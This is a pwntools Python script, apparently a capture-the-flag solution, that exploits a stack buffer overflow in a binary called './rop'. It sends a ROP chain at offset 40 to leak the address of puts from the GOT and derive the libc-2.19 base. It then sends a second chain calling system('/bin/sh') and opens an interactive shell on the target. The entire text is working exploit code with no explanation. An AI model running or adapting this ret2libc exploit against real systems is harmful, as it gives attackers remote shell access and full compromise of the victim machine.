from pwn import *
context(arch = 'amd64', os = 'linux')

progname = './rop'

exe = context.binary = ELF(progname)
host = args.HOST or 'localhost'
port = int(args.PORT or 1234)

gdbscript = '''
break *(main+40)
continue
'''

def local(argv=[], *a, **kw):
    if args.GDB:
        r = process(progname, raw=False, *a, **kw)
        gdb.attach(r, gdbscript)
        return r
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    io = connect(host, port)
    io.send('bh1642\r\n')
    io.recvline() # Wait
    return io

start = local if args.LOCAL else remote

io = start()
libc = ELF('./libc-2.19.so')
print(io.recvline())
r = ROP(exe)
r.call(exe.sym.puts, [exe.got.puts])
r.call(exe.sym.main)
io.sendline(fit({ 40: r.chain() }))
putsstr = io.recvline(False)
log.info(putsstr)
puts = u64(putsstr.ljust(8, "\x00"))
print(io.recvline())

log.info("Puts is at %#x", puts)
libcbase = puts - libc.sym.puts
libc.address = libcbase
log.info("Libc is at %#x", libc.address)

r = ROP(exe)
system = libc.sym.system
binsh = next(libc.search('/bin/sh'))
r.call(system, [binsh])
io.sendline(fit({ 40: r.chain() }))
io.interactive()
